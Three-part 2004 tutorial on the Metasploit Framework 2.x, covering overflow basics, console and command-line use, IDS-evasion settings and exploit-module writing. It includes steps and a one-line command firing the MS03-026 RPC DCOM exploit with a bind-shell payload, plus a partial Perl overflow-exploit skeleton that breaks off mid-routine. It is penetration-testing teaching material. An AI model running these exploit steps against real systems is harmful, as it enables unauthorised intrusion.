现在的位置: 首页 > 综合 > 正文

Metasploit Framework all part 1-3

2013年08月24日 ⁄ 综合 ⁄ 共 41868字 ⁄ 字号 评论关闭
文章目录
Metasploit Framework, Part 1
Pukhraj Singh, K.K. Mookhey
2004-07-12





sploit
(n.) Exploit. A defect in the game code (see bug) or design that can be used to gain unfair advantages.
(Source: Dictionary of MMORPG Terms)

At present the exploit development community (hackers and security
professionals alike) is more sentient than ever before. The timeline
between the release of an advisory and the development of an exploit
has shrunk to a great extent. Exploit development, which was considered
more of Wiccan art, has reached large masses. The network security
administrator needs to be more vigilant then ever before as the enemy
is always one step ahead with the latest exploit in his hand.

Exploit development tools and automated frameworks for exploit testing
and simulation is the need of the hour. Metasploit Framework (MSF) is
something which fits the bill. Its latest release has the agility and
muscle quite comparable to its high priced commercial counterparts and
the lethality to code an exploit in the shortest possible timeframe,
due to a very well defined interface for development. With a complete
exploit environment, working exploits, effectual payloads and added
handlers, this is one tool which the penetration testers must utilize.

This article provides an insight into the basics of exploit development
frameworks, with a special focus on the Metasploit Framework and how it
can be exploited to save time and resources. We describe its usage with
graphical illustrations, detail the various commands available,
describe features, give practical examples, and most importantly, use
these skills to develop new exploits and test out new techniques. The
article concludes with elucidating why MSF will influence the future of
exploitation in a momentous and positive way.

1. Prologue

I would like to begin my article with
reference to some relatively current happenings. The Microsoft advisory
(MS04-011) discussed and fixed lot of critical security vulnerabilities
in various Windows operating systems [ref 1].
Two of which that interested me were the SSL PCT and Local Security
Authority overflows which could lead to remote compromise. As almost
immediately, working exploits were released to the public, catching
administrators and security professionals unaware and unprepared.

Putting yourself in the mindset of a security administrator in a
typical IT company, the exploits added ever more to the existing
security burden. Already said and done, this is a wild goose chase
where the malicious attacker is ahead of the game, but with a
methodical approach the security professional can turn the cards.

Security patches, IDS, firewalls, and so on should not be the only
criteria of safety. Succumbing to the pressure of the situation, many
nooks and corners of the network can go unprotected and unlatched,
which generally become the source of compromise. This is what happens
when we hear news about a big network being compromised by hackers
using known vulnerabilities. And that's exactly the reason why the
Sasser worm hit 250,000 computers, even two weeks after MS released the
high-profile security patch.

In my opinion, the solution is the usual, "think like an attacker"
approach. The penetration tester should go on a hacking spree by
testing his own network, in what I call Threat Evasion Penetration Testing. This is where exploit frameworks come into play, which automate the art of exploitation.

2. Groundwork

Exploits still have a feeling of awe attached to them. Busy pen-testers
shrug the idea of exploit development as an idle past time of a hacker.
This is in a way true. Exploit development in itself is an art. It
requires paramount knowledge, patience, precious time and above all the
undying spirit of learning by trial-and-error.

2.1 Memory organization

The basic exploitation techniques can be methodically categorized, like
any other technical issue. Before going further, however, the reader
must be aware of the basic process of memory organization [ref 2]. A process running in memory has the following sub-structures:

    Code is the read-only segment that contains the compiled executable code of the program.

    Data and BSS are writable segments containing the static, global, initialized and un-initialized data segments and variables.

    Stack is a data structure based on Last-In-First-Out ordering. Items are pushed and popped from the top of the stack. A Stack Pointer (SP)
    is a register which points to the top of the stack (in most cases).
    When data is pushed on the stack, SP points to (the top of the stack).
    Stack grows towards negative memory addresses. It is used for storing
    the context of a process. A process pushes all its local and dynamic
    data on to the stack. Instruction Pointer (IP) is a register
    used to point to the address of the next instruction to be executed.
    The processor looks at IP each time to find the next instruction to be
    executed. When an abrupt program redirection takes place (generally due
    to jmp or call) the address of the next instruction,
    after returning back from redirection, can be lost. In order to
    overcome this problem the program stores the address of the next
    instruction to be executed (after returning from jmp or call) on the
    stack, and it is called the return address (implemented through
    assembly instruction RET). This is how a normal program containing many function calls and goto instructions keeps track of right path of execution.

    Heap is basically the rest of the memory space assigned
    to the process. It stores data which have a lifetime in between the
    global variables and local variables. The allocator and deallocator
    work to assign space to dynamic data and free heap memory respectively [ref 3].

This was a brief fly-over on the basics of process organization. Now I
describe some techniques recurrently used to abuse the harmony of
process organization.

2.2 Buffer overflows

The word gives goose bumps to any
person who has dealt with them, be it a coder, an application tester or
the security administrator. Some say it's the biggest security risk of
the decade [ref 4].
The technique of exploitation is straightforward and lethal. The stack
of the program stores the data in order whereby the parameters passed
to the function are stored first, then the return address, then the
previous stack pointer and subsequently the local variables. If
variables (like arrays) are passed without boundary checks, they can be
overflowed by shoving in large amounts of data, which corrupts the
stack, leading to the overwrite of the return address and consequently
a segmentation fault. If the trick is craftily done we can modify the
buffers to point to any location, leading to capricious code execution [ref 5].

2.3 Heap overflows

The allocated memory in a heap is organized as a doubly linked list. By
performing an overflow we can modify the pointers of the linked list to
point into memory. Heap overflows are hard to exploit and are more
common in Windows as they contain more prominent data which can be
exploited. In the case of a malloc memory allocation system, the
information regarding the free and allocated memory is stored within
the heap. An overflow can be triggered by exploiting this management
information such that we can write to random memory areas afterwards,
which can lead to code execution [ref 6].

So how is the overflow triggered? There are many weapons in the
stockpile like strings and string functions, format strings, null
pointers, integer overflows, signed issues and race conditions which
can be a help to generate exceptional conditions in a process [ref 7].

I stress the fact that this article was not meant to be a definitive
guide to various exploitation techniques. We only provide a quick
overview of what is important, in order to get a solid understanding of
the things to come in subsequent parts of this article. They just act
as pointers for further reference.

3. The Birth of an Exploit

Now comes the most exciting
part, coding the exploit. The body or structure of an exploit can be
divided into various components, as described in Figure 1 [ref 8]. We describe some exploit miscellany which will help us to analyze the figure as shown.

Figure 1
Figure 1

3.1 Shellcode

This is the payload which is to be executed after exploitation. In most
cases we redirect the path of execution so that the injected payload is
executed [ref 9].
Hence the return address is made to point to this shellcode. It
comprises of assembly instructions encoded as a binary string which
perform operations like spawning a shell. A good piece of shellcode
must be a trade-off between and size and complexity. There are a lot of
verifications to be made during payload encoding like keeping a check
on restricted characters. Nowadays, payloads have been customized to be
very short and require less space. They can execute many complex
operations from opening a listening socket to even loading a compiler
on the remote computer.

3.2 Injection vector

The pointer or offset where the shellcode is placed in a process and the return address is modified to point to.

3.3 Request builder

This is the code which triggers the exploit. If it's related to string
functions, then scripting languages are generally preferred.

3.4 Handler Routine

This part generally consumes the majority
of the code. This is a handler for the shellcode doing operations like
linking to a bindshell, or connecting console to a socket.

3.5 User options handler

It is basically a user level
front-end providing the user with various control options like remote
target selection, offset selection, verbosity, debugging and other
options. This forms majority of the exploit code and makes the code
quite bulky.

3.6 Network connection Handler

This comprises of the various
routines which handle network connections like name resolution, socket
establishment, error handling etc.

As we can see there is a lot of unnecessary and repetitive code which makes the exploit really bulky and error prone.

4. Some Common Problems

In the course of development, many
problems are faced which hinder the exploit development process. The
mad race of people trying to release the exploit first leads to a lot
of bad and unnecessarily complicated code.

Some exploits need an understanding of deeper concepts and research,
such as exploits based on network protocols (RPC, SMB and SSL) and
obfuscated APIs. Also, not much information is revealed in the advisory
so there is always the need for experimentation.

Finding target values is also one big headache which involves lot of trial and error.

Finally, most payloads are hard coded and any changes breaks the exploit.

Many firewalls and IPSes detect and block shellcode.

Time is of primary concern, and some exploits consume quite a lot of
time and concentration, both of which are the precious assets of a
security researcher.

All said and done, coding exploit is one hell of a messy job!

5. Here It Comes!

Enter the Metasploit Framework (MSF)! According to the MSF User Crash Course [ref 10] guide,:


    "The Metasploit Framework is a complete environment for writing,
    testing, and using exploit code. This environment provides a solid
    platform for penetration testing, shellcode development, and
    vulnerability research."

In my words, the Metasploit Framework is a singular solution to all the
above discussed problems. The framework has matured itself to quite an
extent in the 2.0 release version. It's more stable, has very
attractive features and a very instinctive user interface for exploit
development.

The major features which give an edge to MSF over other options are:

  • It is primarily written in Perl (with some parts in assembly,
    Python and C), which means clean efficient code and rapid plug-in
    development.
  • Pre-packaged support for extensible tools, libraries and features like
    debugging, encoding, logging, timeouts and random nops and SSL.
  • An intelligible, intuitive, modular and extensible exploit API and environment.
  • Highly optimized muti-platform, mutli-featured payloads which are dynamically loadable.
  • Enhanced handler and callback support, which really shortens the exploit code.
  • Support for various networking options and protocols which can be used to develop protocol dependent code.
  • Supplementary exploits are included, which help us to test out exploitation techniques and sample exploits developed.
  • It is Open Source Software and has a dedicated developer community for support.
  • Support for advanced features and third party tools like InlineEgg, Impurity, UploadExec and chainable proxies.

It's clear that MSF is definitely a tool the penetration-tester must
get acquaintained with. It gives the art of exploitation a whole new
paradigm.

6. Installation

Currently, the Metasploit Framework works
efficiently on Linux and Windows. There are some minor compatibility
issues, but they can be uncared for. Users can download the latest
release for Windows and Linux from http://www.metasploit.com/projects/Framework/downloads.html.

The installation is very trivial and intuitive, and the download
packages are in extract and run state. The simple Windows installation
is shows in Figure 2.
In the case of Linux, decompress the archive (which is in the format
framework-2.x.x.tar.gz), where the framework directory contains
compiled binaries which are for various utilities. While running on
Linux it is advised that Term::ReadLine::Gnu (for tab completion
support) and Net::SSLeay (for SSL support) modules be installed (these
are found in the extras directory).

Figure 2
Figure 2

The Windows environment is based on a stripped down
Cygwin environment, which is a wise solution as it provides a very
handy console to the user. However, there were some problems with
support of Active State Perl, hence it supports Cygwin Perl only. The
installation is packaged as an executable setup, which installs the
Metasploit Framework in the specified directory (see figure 2) and adds
shortcuts to it.

7. Concluding Part One

In the first part of this article,
we did a walk-through of the various exploitation techniques which are
frequently being used. We delve into the basics of exploit development
and how the exploit code can be broken down into logical
sub-structures. We became aware of the major problems plaguing the
process of exploit development and how the Metasploit Framework acts as
a solution to these problems. We also discussed some of its features
and the installation procedure.

In part two
we will provide an insight into the various usage and command options,
running and adding new exploits, changing environment settings and
other advanced features of the Metasploit Framework.

References

1. Microsoft Security Bulletin http://www.microsoft.com/technet/security/bulletin/ms04-011.mspx

2. Stack, Pointers and Memory, Lally Singh http://www.biglal.net/Memory.html

3. A Memory Allocator, Doug Lea http://gee.cs.oswego.edu/dl/html/malloc.html

4. Buffer overflows likely to be around for another decade, Edward Hurley http://searchsecurity.techtarget.com/originalContent/0,289142,sid14_gci860185,00.html

5. Buffer Overflows Demystified, Murat http://www.enderunix.org/docs/eng/bof-eng.txt

6. Badc0ded - How to exploit program vulnerabilities, http://community.core-sdi.com/~juliano/bufo.html

7. Once upon a free(), Phrack 57 Article 9 by Anonymous http://www.phrack.org/show.php?p=57

8. Presentation on Advanced Exploit Development at HITB, HD Moore (PDF) http://conference.hackinthebox.org/materials/hd_moore/HDMOORE-SLIDES.pdf

9. Designing Shellcode Demystified, Murat http://www.enderunix.org/docs/en/sc-en.txt

10. Crash Course User Guide for Metasploit Framework, (PDF) http://metasploit.com/projects/Framework/docs/CrashCourse-2.0.pdf

About the authors

Pukhraj Singh is a security researcher at Network
Intelligence (I) Pvt. Ltd. His areas of interest include working with
exploits, monitoring honeypots, intrusion analysis and penetration testing.

K. K. Mookhey is the CTO and Founder of Network
Intelligence.

View more articles by K.K. Mookhey on SecurityFocus.

Metasploit Framework, Part 2
Pukhraj Singh, K.K. Mookhey
2004-09-08


Editor's Note:
This document has been completely rewritten, incorporates a few
important bug fixes from the previous article, and discusses changes
with MSF version 2.2.

Translation Note: A French translation of this document is also available (PDF), in addition to the Crash Course (PDF) translation on MSF, also in French.

1. Introduction

In the first part
of this article series, we discussed how writing exploits is still a
painful and time-consuming process. We discussed the common obstacles
faced during exploit development and how the Metasploit Framework can
solve some of the problems. This article will start off with a brief
introduction to the console interface and explain how to select and use
an exploit module. We will then cover the environment system, how it
works, and what features can be enabled through it.

2. Getting Your Feet Wet

The installed MSF has three work environments, the msfconsole, the msfcli interface and the msfweb interface. However, the primary (and preferred) work area for MSF is the msfconsole.
It is an efficient command-line interface that has its own command set
and environment system. Although the Framework was designed to run on a
Unix-like system, such as Linux or BSD, it will also run on Windows
through the Cygwin environment. The Windows installer, from the metasploit.com web site, includes a pre-configured and stripped down version of Cygwin.

During the initialization of msfconsole, standard checks are performed. If everything works out fine we will see the display as shown in Figure 1.



Figure 1

Now the command prompt (msf>) for msfconsole
is active. The console is very flexible, and if the user enters any
unknown commands, it will search the PATH environment variable for any
matching executable. If a matching file is found it is executed much
like a standard command prompt.

Instinctively, typing the help command displays a list of commands available as shown in Figure 2.



Figure 2

The command show exploits lists out the
currently available exploits. There are remote exploits for various
platforms and applications like Windows, Linux, IIS, Apache, and so on,
which help to test the flexibility and understand the working of MSF.
This is shown in Figure 3, below.



Figure 3

As you may have noticed, the default installation of the Metasploit
Framework 2.0 comes with 18 exploits and 27 payloads, which is quite an
impressive stockpile.

To list out the payloads present, execute the show payloads
command. The payloads are neat, efficient and very well written. These
payloads accomplish a wide array of tasks, such as binding a command
shell to a listening port, adding new user accounts, or uploading and
executing the program of your choice. MSF even has support for dynamic
payload creation, using the InlineEgg library as shown in Figure 4.



Figure 4

Specific information about an exploit can be culled with the command info exploit exploit_name
which provides information such as available targets, exploit
requirements, details of vulnerability itself, and even references
where you can find more information! This is shown in Figure 5.



Figure 5

In the same manner, information about a specific payload can be gained by the command info payload payload_name. Starting with version 2.2 of MSF, you can use info module_name, without having to specify the type, as shown in Figure 6.



Figure 6

3. Using An Exploit

Now we will describe the procedure to select a specific exploit and then run it. The command use exploit_name activates the exploit environment for the exploit exploit_name.

If you select the Microsoft RPC DCOM MSO3-026 exploit using the name msrpc_dcom_ms03_026, you may have noticed the prompt changes from msf> to msf msrpc_dcom_ms03_026 >. This notifies that we are working in the temporary environment of that exploit.
The show command can be used to view information about the current exploit. The show options command displays the various parameters which are required to be use the exploit, as shown in Figure 7.



Figure 7

It's clear that this exploit requires two parameters,
RHOST (the target's address) and RPORT (and the target's port, defaults
to 135 in this case). The show targets
command will list all available targets for the selected exploit
module. As you can see, this module only has one target, which works on
NT 4.0 SP6, plus all versions of Windows 2000, and all versions of
Windows XP.

The show payloads command will list all
payloads that are compatible with the selected exploit. MSF does a good
job of preventing you from using the wrong payload for a given exploit.

We must set each of the options listed as
'required' before we can use this exploit. In this exploit we only have
a single target option, so we set the TARGET variable to 0, with the command set TARGET 0. Many exploits will choose a reasonable default target for you. We now set the target server's IP address with the command set RHOST 192.168.0.27.

Next we need to set the required payload (shellcode) for the exploit. Here we set PAYLOAD to winbind, using the command set PAYLOAD winbind. The payload names may change between versions of MSF, so always check the output of show payloads
after an upgrade. This particular payload will cause the server to
listen on a port and spawn a command shell when a connection is made.
This displays the extensible flexibility of the MSF payload system.
Every single exploit included in MSF allows for arbitrary payloads to
be selected and used, even custom ones you develop yourself. Notice the
prompt changes from msf msrpc_dcom_ms03_026 > to msf msrpc_dcom_ms03_026(winbind) > after selecting a payload. Now we use the show options
command to check which options have been set and which are required to
be set. As we can see, we still need to supply a value for the LPORT variable as shown in Figure 8. We set it using the command set LPORT 1536.



Figure 8

The EXITFUNC variable is available for almost
every Windows payload. This variable controls how the payload will
clean up after itself once it accomplishes its task. Quite a few
vulnerabilities can be exploited repeatedly, simply by using a
different value for EXITFUNC. Fortunately, you rarely have to
worry about this as many exploits automatically select the best value
for you. Unless you know what you are doing, this value should not set.
Setting the wrong value can wreak havoc on the exploited system.

Many exploits and payloads have another set of options, called advanced options. These can be displayed with the command show advanced.
Advanced options can perform tasks such as modifying an exploit request
to avoid an IDS signature, changing brute force settings, or specifying
exact return addresses to use.

At this point, everything is ready and all variables have been set. We make a final check on the exploit with the show options command and verify that we are good to go.

Everything seems perfect. It's show time!

The exploit command actually launches the attack, doing whatever it needs to do to have the payload executed on the remote system.

The check command can be used to whether
or not the target system is vulnerable to attack. The check feature is
not available with every exploit, but can be useful when you are trying
to determine if a system is patched before trying to exploit it.

4. Adding New Exploits/Modules

Adding new exploits to MSF
is a breeze. The MSF-compatible remote exploit for IIS 5.x SSL PCT
Buffer Overflow was publicly released on 24/04/2004 (http://www.k-otik.com/exploits/04242004.iis5x_ssl_pct.pm.php). For the purposes of this article we will add the exploit to our MSF stockpile.

After downloading the exploit, the user must note the naming of the
Perl module for the exploit. The file name must be the same as the
package name, in other words, Msf::Exploit::iis5x_ssl_pct should be saved as iis5x_ssl_pct.pm.
Now copy the module to the exploits subdirectory (in case you're using
Windows it's /home/framework-2.0/exploits). As soon as the file is
copied over, it is ready for use, and you do not even need to restart
the console. Use the show exploits command to verify that the module has been loaded correctly.

    msf > show exploits
    Metasploit Framework Loaded Exploits
    ====================================
    apache_chunked_win32 Apache Win32 Chunked Encoding
    exchange2000_xexch50 Exchange 2000 MS03-46 Heap Overflow
    ia_webmail IA WebMail 3.x Buffer Overflow
    iis50_nsiislog_post IIS 5.0 nsiislog.dll POST Overflow
    iis50_printer_overflow IIS 5.0 Printer Buffer Overflow
    iis50_webdav_ntdll IIS 5.0 WebDAV ntdll.dll Overflow
    iis5x_ssl_pct IIS 5.x SSL PCT Overflow
    imail_ldap IMail LDAP Service Buffer Overflow
    msrpc_dcom_ms03_026 Microsoft RPC DCOM MSO3-026
    mssql2000_resolution MSSQL 2000 Resolution Overflow
    poptop_negative_read PoPToP Negative Read Overflow
    ...

    The exploit has been successfully added to the list. The exploit is run
    in the same way as any other exploit in MSF. Version 2.2 of MSF allows
    users to keep their own private directory of exploits, payloads,
    encoders, and nops. Installing a new exploit can be either system-wide,
    or per-user.

    5. Console Environments

    In previous paragraphs, we made
    quite a few references to variables and environments, without
    explaining what they are. An environment is simply a name space for
    variables. When you set a variable in MSF, it creates a new entry in
    your current environment. Environments are used to specify exploit
    parameters and configure various parts of the system. MSF is divided
    into two logical environments, the Global Environment and the Temporary
    Environment. Each exploit, when selected, has a temporary environment
    which overrides the global environment.

    5.1 Global Environment

    The global environment is accessed through the setg and unsetg commands. Calling setg displays the current global environment and calling unsetg flushes out all global environment settings.

    As shown below in Figure 9, we set the value of LHOST, LPORT and PAYLOAD in the global environment to permanent values and save the changes with the save command.



    Figure 9

    The save command writes out all the current
    environments to a file on disk. Versions 2.0 and 2.1 place this data
    into the file $HOME/.msfconfig, and version 2.2 places the saved
    environments into $HOME/.msf/config. The saved environments are loaded
    the next time any of the MSF user interfaces are started. It is common
    practice to set global environments such as LHOST and LPORT and save them to disk, removing the need to set them on a per-exploit basis.

    5.2 Temporary Environment

    The temporary environments are sub-environments which override global
    settings. The Temporary environment is tied to the currently selected
    exploit. Every exploit's environment is isolated from the rest,
    allowing the user to easily switch between preconfigured exploits with
    the use command.

    5.3 Advanced Environment Settings

    MSF provides quite a few advanced settings which are configured through
    environment variables. These settings include the logging system,
    socket options, and debugging parameters.

    5.3.1 Logging Options

    The logging features can be activated by setting the Logging (global as well as temporary name) variable to a non-zero value. The directory for logs is set by changing the LogDir (global as well as temporary name) variable which defaults $HOME/.msflogs. The msflogdump utility can be used to view the session logs. Starting with version 2.2, the logs are stored in $HOME/.msf/logs.

    5.3.2 Socket Options

    The various timeout and proxy settings can be changed by setting the following environment variables.

    Msf::Socket::Proxies (global name) or Proxies (temporary
    name): This variable can used to set the proxy (SOCKS4 and HTTP)
    settings for network connections. It supports proxy chains which can be
    specified in the format chain type:host:port and is separated by commas
    for each proxy server.

    Msf::Socket::RecvTimeout (global name) or RecvTimeout (temporary name): This specifies the maximum number of seconds allowed for reading from a socket.

    Msf::Socket::ConnectTimeout (global name) or ConnectTimeout (temporary name): This is to specify the connect timeout period of a socket (defaults to 10 seconds).

    Msf::Socket::RecvTimeoutLoop (global name) or RecvTimeoutLoop
    (temporary name): Set the maximum time (in seconds) to wait for a
    connection before the socket is closed. This loop is reactivated at
    every data receive.

    5.3.3 Debugging Options

    The environment variable DebugLevel
    sets the debugging level and the verbosity options for the Framework
    and modules. The verbosity increases depending on the value of the
    variable, which ranges between 0 and 5.

    5.3.4 Payload Options

    By default, the encoding process will
    cycle through all the modules until it finds one that avoids the
    particular restricted character set for the current exploit. The
    precedence of encoding modules can be set in an order separated by
    commas in the environment variable Encoding. In the same way, the Nop
    variable is used to specify the nop generating routine precedence. This
    can be useful when you need to avoid certain IDS signatures.

    The RandomNops variable tells the nop
    generator module to use randomizes sequences of nop-like instructions
    instead of the standard nop opcode. This can be also be used to avoid
    IDS signatures. Version 2.2 includes support for smart random nop
    generation, where each exploit can specify the registers which should
    not be modified by the nop-like opcodes.

    6. Conclusion

    After reading the second part of this
    article, you should have a solid grasp of what the Metasploit Framework
    is and how you can start using it. We described the msfconsole
    interface, the general process for selecting and using an exploit, and
    how environment system works.

    This article paves the way for the third and final
    part, to be published later this week, which will explain the other
    user interfaces, the included helper utilities, and some basic
    guidelines for developing your own exploit modules. We will discuss its
    future potential by anticipating the new features which will be added
    to the framework.

    References

    About the authors

    Pukhraj Singh is a security researcher at Network
    Intelligence (I) Pvt. Ltd. His areas of interest include working with
    exploits, monitoring honeypots, intrusion analysis and penetration testing.

    K. K. Mookhey is the CTO and Founder of Network
    Intelligence.

    View more articles by K.K. Mookhey on SecurityFocus.

    Metasploit Framework, Part 3
    Pukhraj Singh, K.K. Mookhey
    2004-09-14


    Translation note: This article was kindly translated (PDF) into French by Jerome Athias.

    1. Introduction

    In the previous two parts (part 1, part 2)
    of this article series we discussed the agility and ease of usage of
    the Metasploit Framework in an end-user environment. Moving further we
    will cover additional usage details and provide a brief insight of the
    MSF from a developer's perspective. Version 2.2 of the Framework was
    released in August 2004, and its immense potential was showcased at the
    Blackhat 2004 and Defcon 12 security conferences, which witnessed a
    jam-packed house during presentations by HD Moore and Spoonm.

    The previous article discussed the primary interface to the MSF; we
    will now continue the discussion by looking at other interfaces present
    in the Framework. Then we will move on to cover the latest features
    available in version 2.2. Finally, we will conclude the article by
    providing a brief introduction to the exploit development process
    provided in the Framework. This includes features such as VNC DLL
    injection and others.

    2. Other User Interfaces

    The Metasploit Framework support three interfaces. The first interface, msfconsole, was covered extensively in part two of this article series. The two other interfaces, msfcli and msfweb are just as powerful and each plays an important role in different scenarios.

    2.1 msfcli Interface

    The msfcli interface is best suited for
    automating various penetration tests and exploitation tasks. These
    tasks can be automated through the use of batch scripts.

    The commands are executed in the format: msfcli match_string options(VAR=VAL) action_code where match_string is the required exploit.

    The action_code has the following value options:

      S for summary,
      O for options,
      A for advanced options,
      P for payloads,
      T for targets,
      C for vulnerability checks, and
      E for exploitation.

    The commands can be saved and loaded during startup. This allows us to configure various settings in the global environment.

    First, to display a list of the exploits available, use the ./msfcli command. Note that the output is similar to the command show exploits.

    Summary information about a specific exploit can be displayed with the command ./msfcli exploit_name S, where exploit_name is the name of the exploit selected, as shown below in Figure 1.


    Figure 1

    Figure 1

    In the same way, available payloads can be displayed by simply changing the action_code and issuing the command ./msfcli exploit_name P.

    Now we can set the payload for the exploit with ./msfcli exploit_name Payload=payload_name 0,
    where payload_name is the name of the payload. In order to view and set
    any advanced options that may be present for an exploit we use the ./msfcli exploit_name Payload=payload_name A command. Similarly,
    ./msfcli exploit_name PAYLOAD=payload_name T lists the targets and ./msfcli exploit_name PAYLOAD= payload_name T 0 selects the first value.

    In part two of this article, we demonstrated the execution of the msrpc_dcom_ms03_026 exploit using msfconsole. It can also be executed via the msfcli interface by running a single command: ./msfcli msrpc_dcom_ms03_026 PAYLOAD=winbind RHOST=192.168.0.27 LPORT= 1536 TARGET=0 E

    Hence, the msfcli interface provides all the functionality and features of msfconsole through a single command do all design.

    2.2 msfweb Interface

    The msfweb interface provides
    complete MSF functionality via an easy to use web interface. This
    interface has its own web server running on port 55555 by default. The
    server has limited features and absolutely no security measures, so you
    must secure access to it separately. However by default it listens only
    for loopback connections, which limits its availability. This can be
    modified for any address:port option with the -a switch. The index
    page, when connected to the server, displays a list of exploits
    available. A user can select an exploit simply by clicking on the
    desired link.

    After selecting an exploit, the next web page shows the information
    about that exploit. Clicking on the 'Select Payload' button will open a
    page displaying the payloads that are available. Select the specific
    payload, and the next page displays various options to be filled in
    such as RPORT, RHOST, and so on. The two buttons at the bottom of the
    page named 'Vulnerability Check' and 'Launch Exploit' can be used to
    check the RHOST for vulnerability or launch the exploit, respectively,
    as shown in Figure 2.


    Figure 2

    Figure 2

    When the exploit is run, the server establishes a
    connection to the exploited host, proxying through an arbitrary
    listening port and a telnet protocol link is given to the user for a
    connection to the exploited host. This interface, although very basic,
    can be useful to a team of penetration testers collaborating with each
    other.

    3. Metasploit Framework 2.2 - Overview of New Features

    Version
    2.2 of the Framework is a complete overhaul with many new features. It
    is interesting to note that a suite of helper utilities have been
    provided to assist in the development of exploits and plug-ins.

    The Framework's base module of exploits, payloads, encoders and nop
    generators has been expanded and has also matured formidably. The
    libraries have the capability of providing abstraction from the user
    interfaces, encoding and nop engines, payload handler modules and a
    shared API environment.

    There is also inclusion of the Pex Library, a
    completely standalone exploit development platform with features like
    nop sled generators and support for Socket protocols like Raw IP, SSL,
    Proxy, MSSQL, SMB and DCERPC to say the least. Now let's go into the
    nitty-gritty details of these enhancements.

    3.1 Utilities

    The new utilities are really just the icing on the cake, and their importance is only full evident once the tools are utilized.

    Msfpescan can be used to analyze and disassemble executables and
    DLLs, which helps to find the correct offsets and addresses during the
    stage of exploitation and privilege escalation. It can search for jmp
    statements or for a sequence like pop-pop-ret, and the utility even
    supports regular expressions. This can be used to find effective return
    addresses from Windows expressions, and thus can be used to add new
    targets to the exploit.

    The various command line flags are as shown below,

      Usage: /home/framework-2.2/msfpescan <input> <mode> <options>
      Inputs:
      -f <file> Read in PE file
      -d <dir> Process memdump output
      Modes:
      -j <reg> Search for jump equivalent instructions
      -s Search for pop+pop+ret combinations
      -x <regex> Search for regex match
      -a <address> Show code at specified virtual address
      Options:
      -A <count> Number of bytes to show after match
      -B <count> Number of bytes to show before match
      -I address Specify an alternate ImageBase
      -n Print disassembly of matched data

      Msfdldebug can be used to download debug symbols from files.

      Msfpayload and msfpayload.cgi can both be used to generate customary payloads via the command-based and the CGI (Web) interfaces, respectively.

      Msfencode is a useful command line based interactive payload encoder.

      Msflogdump displays the session log files in colorized displays.

      Msfupdate is a handy utility which can be used to check and download updated and newer releases of the Framework.

        Usage: /home/framework-2.2/msfupdate [options]
        Options:
        -v Display version information
        -u Perform an online update via metasploit.com
        -s Only display update tasks, do not actually download
        -m Show any files locally modified since last update
        -a Do not prompt, default to overwrite all files
        -x Do not require confirmation for non-SSL updates
        -f Disable ssl support entirely, use with -x to avoid warnings

        3.2 The Modules

        Modules (exploits, payloads, encoders and nops)
        are the epicenter of all Metasploit functionality. The exploit
        collection in itself is enough to keep any penetration tester happy.
        The payload support can perform all sorts of "cool ninja tricks," from
        injecting a DLL (win32_bind_dllinject, win32_reverse_dllinject) to running a VNC server (win32_bind_vncinject, win32_reverse_vncinject)
        on the exploited host. The live demo of this as presented by the
        Metasploit authors was highly admired by audience members during the
        presentations.

        The Metasploit Framework supports an array of third
        party tools that are supported through modules. We will explain their
        interaction with MSF in brief -- for further insight readers are
        directed to the respective homepages of these tools.

          InlineEgg is a tool
          to build handy assembly code through a Python interface. These assembly
          instructions can be used to build effective payloads for an exploit.
          The MSF has an interface for InlineEgg payloads called the ExternalPayload module. The latest release of MSF has three Linux examples of this: linx86_reverse_ie, linux86_bind_ie (generic command shells) and linux86_reverse_xor
          (XOR encrypted). When selected the payloads are dynamically created at
          run-time through a set of Python scripts. For Windows, the InlineEgg
          payload is win32_reverse_stg_ie. This payload has a variable IEGG which specifies the path to the InlineEgg Python script containing the payload.

          Impurity provides
          an easy-to-use interface for shellcode development in C, the result of
          which can be injected into memory as an executable ELF image. MSF has a
          loader (Linux only) for Impurity executables named linx86_reverse_impurity and requires PEXEC set to the path of the executable.

          UploadExec provides a way to upload any Win32 executable over an
          exploited socket connection and run it. Imagine running a Perl
          interpreter on the remote Windows computer.

        The suite of various encoders (XOR, alphanumeric, etc)
        help the user to shape their exploit in the way they wish to craft it.
        Otherwise the Framework can be left to do that for you.

        4. Exploit Development

        The exploit development process has
        been explained very well in the latest MSF 2.2 documentation and is
        available under the 'sdk' directory. Therefore in this section of the
        article we will simply break down the development process into simple
        phases, and give a brief walkthrough of each phase.

        The first phase of the process begins with analyzing a
        vulnerability and the feasibility of manipulating this vulnerability
        for our own purposes. The Metasploit Framework is more potent for
        network based exploitation, which is generally difficult.

        Let's suppose that there is buffer overflow in a network daemon. The
        first and foremost thing to do is to find the return address. Now the
        comes stage of exploration and learning, which is unfortunately still a
        process of hit and miss. We will emulate the vulnerability locally by
        sending enough data to just overflow the buffer. To achieve this, MSF
        provides us a TCP module, and we will use it to create the socket and
        send the data. The Pex library routine PatternCreate
        can be used to send data patterns with specified lengths to trigger the
        vulnerability. Simultaneously, we trace the debug pattern of the
        vulnerable process to find where the segfault was generated. We pass
        this offset to patternOffset.pl, which is found in the sdk directory, to find the return offsets.

        Now extend the barebones exploit created in the previous step by adding
        the offsets, padding and other vital information such as DCEFragSize.

        Next we set the payload-specific options like Space (the decent payload
        size), BadChars (any characters that might break the payload) and
        MinNops. Then we can write down the list of targets.

        The main task is in the initialization and
        exploitation routines, which will pick up data using the above code
        from user supplied values and undertake the final execution phase.

          sub new {      #Nothing much to worry about.
          my $class = shift;
          my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
          return($self);
          }
          sub Exploit { #Going Critical: The exploitation routine.
          my $self = shift;
          my $targetHost = $self->GetVar('RHOST'); #Getting values from user
          #using GetVar
          my $targetPort = $self->GetVar('RPORT'); #Getting values
          my $targetIndex = $self->GetVar('TARGET');
          my $DCEFragSize = $self->GetVar('FragSize') || 1024;
          my $target = $self->Targets->[$targetIndex];
          my $ret = $target->[1];
          #Encoding of payload with value set in the global environment
          #variable EncodedPayload
          my $encodedPayload = $self->GetVar('EncodedPayload');
          my $shellcode = $encodedPayload->Payload;
          my $sock = Msf::Socket::Tcp->new
          #Socket routine. Set protocol dependent option. Use the Socket library
          #routines for support of various protocols. Raw sockets are also supported.
          {
          'PeerAddr' => $targetHost,
          'PeerPort' => $targetPort,
          'LocalPort'=> $self->GetVar('CPORT'),
          ...
          }
          #Setting up advanced options using GetLocal which is used to get the
          #options set by the exploit coder rather than the end user. The options
          #given by the end user are captured using GetVar.
          my $tosend = 'A' x $self->GetLocal('PreRetLength');
          #AAAAAA... PreRetLength number of times. Let's call it 'tosend'
          $tosend .= pack('V', $ret) x int($self->GetLocal('RetLength') / 4);
